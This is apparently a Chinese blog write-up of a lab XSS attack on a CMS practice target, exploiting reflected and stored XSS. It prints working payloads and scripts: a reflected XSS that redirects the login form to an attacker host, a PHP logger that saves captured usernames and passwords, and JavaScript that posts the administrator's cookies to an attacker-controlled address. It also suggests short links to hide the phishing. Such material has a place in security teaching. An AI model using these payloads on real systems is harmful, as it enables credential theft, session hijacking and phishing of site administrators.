CMS 文件管理系统:XSS 漏洞获取密码和 cookie

XSS 漏洞查找

反射型 XSS

反射型 XSS 的恶意代码不会存储在远程 web 应用程序中,而是会马上被触发。进入页面,使用搜索功能,可以看到使用的是 GET 方法传参,用于搜索的参数是 keywords 和 button。

直接向 keywords 传递参数“”,由于参数被传递进入后会被直接执行,所以可以看到我们注入的脚本执行成功。

存储型 XSS

进入留言功能界面,输入 payload “”,这句代码会回显 cookie 信息。

编写完成后,完成提交。

上传成功后,进入管理员后台管理系统,可以看到一打开查看这个留言,XSS 攻击就被触发返回 cookie 信息,攻击成功。

利用 XSS 获取管理员账号

攻击思路

编写获取账号信息的 php 脚本,获取用户输入的用户名和密码,完成修改表单提交对象的攻击。攻击的步骤如下:

  1. 编写获取账号密码信息的 php 脚本 save.php,存放在攻击主机的网站目录下,通过 save.php 获取到的用户名和密码存放在 save.txt 中;
  2. 将页面中登录按钮提交表单的 action 地址改为攻击主机中 save.php 的地址;
  3. 使用短网址生成网页, 不让对方容易察觉这是一个钓鱼网站。

生成并放置攻击脚本

首先先查看一下网页的源码,看看登录界面输入的是哪些参数,分别是 username 和 password。

编写用于接收用户名和密码的 php 文件,将用户名和密码写入文件后跳转到登录界面完成工作。

<?php
$username = $_POST['username'];
$passward = $_POST['password'];
$result = fopen("save.txt","a");
fwrite($result, $username.'+++'.$passward."\n");
fclose($result);
echo "<form style='display:none;' id='form1' name='form1' method='post' action='http://192.168.176.134/admin/login.action.php'>
    <input name='username' type='text' value='".$username."'/>
    <input name='password' type='text' value='".$passward."'/>
  </form>
  <script type='text/javascript'>function load_submit(){document.form1.submit()}load_submit();</script>";
?>

将获取用户名和密码的 php 文件放在攻击网站的目录下,此处靶场在虚拟机,将 php 文件放在主机的站点下。

修改表单提交地址

接着检查页面中登录按钮提交表单的 action 地址,改为攻击主机中 save.php 的地址。

要做到这点需要使用反射型 XSS,利用 username 参数向它注入一段 JavaScript 脚本。

?username=<script type="text/javascript">var x=document.getElementById("myform");x.action="http://192.168.9.97/save.php";</script>


意到直接输入会乱码,以为此处将嵌入一个 input 标签,因此需要将这个标签的前后闭合。我选择使用 p 标签闭合后面的尖括号,这样 payload 脚本就准备好了。

?username="><script type="text/javascript">var x=document.getElementById("myform");x.action="http://192.168.9.97/save.php";</script><p id="234

生成短网址

使用短网址生成网页, 不让对方容易察觉这是一个钓鱼网站。

攻击测试

模拟管理员登录系统,输入用户名和密码后进行登录。

由于攻击脚本保存完用户名和密码后会重定向到登录验证界面,且可以使用 post 发送用户名和密码,所以管理员可以正常登录。

可以看到攻击脚本已经获取用户名和密码了,使用 XSS 获取成功。

利用 XSS 获取 cookie

攻击思路

在文章管理系统的留言板上发表 JavaScript 语句,用来盗取管理员的 cookie。攻击的步骤如下:

  1. 编写盗取 cookie 的 php 脚本 cookie.php、js 脚本 xss.js。存放在攻击主机的网站主机的根目录下,通过 cookie.php 获取到的用户名和密码存放在 cookie.txt 中。
  2. 在文章管理系统的留言板上发表留言内容为 javascript 语句,当管理查看时触发 js。

生成并放置攻击脚本

首先先编写保存 cookie 的 php 脚本。

<?php
$cookie = $_POST['cookie'];
$result = fopen( "getcookie.txt" , "a");fwrite($result, $cookie." \n");
fclose($result);
echo "Cookie Success ! ";
?>

然后编写获取 cookie 并发送的 JavaScript 脚本,脚本得到 cookie 之后将发送给 php 脚本进行保存。

function getCookie(){
    var url= "http://192.168.9.97/cookie.php";
    var data= 'cookie= '+ document.cookie;
    var getck=new XMLHttpRequest();
    getck.open('POST', url);
    getck.setRequestHeader('content-type','application/x-www-form-urlencoded');
    getck.send(data);
}
getCookie();

将这两段攻击脚本放在网站根目录下。

利用存储型 XSS 漏洞

接着提交留言,在留言板界面嵌入 JavaScript 脚本,远程包含我们放在自己站点下的获取 cookie 的脚本,包含后就会自动执行。

提交留言,系统提示留言成功。

攻击测试

管理员打开留言管理界面,什么都看不到,但是已经将 cookie 泄露出去了。


在管理员界面按 F12 查看源码,可以看到网站已经将远程包含 js 文件的操作执行了。

posted @ 2022-01-13 13:29  乌漆WhiteMoon  阅读(1645)  评论(0编辑  收藏  举报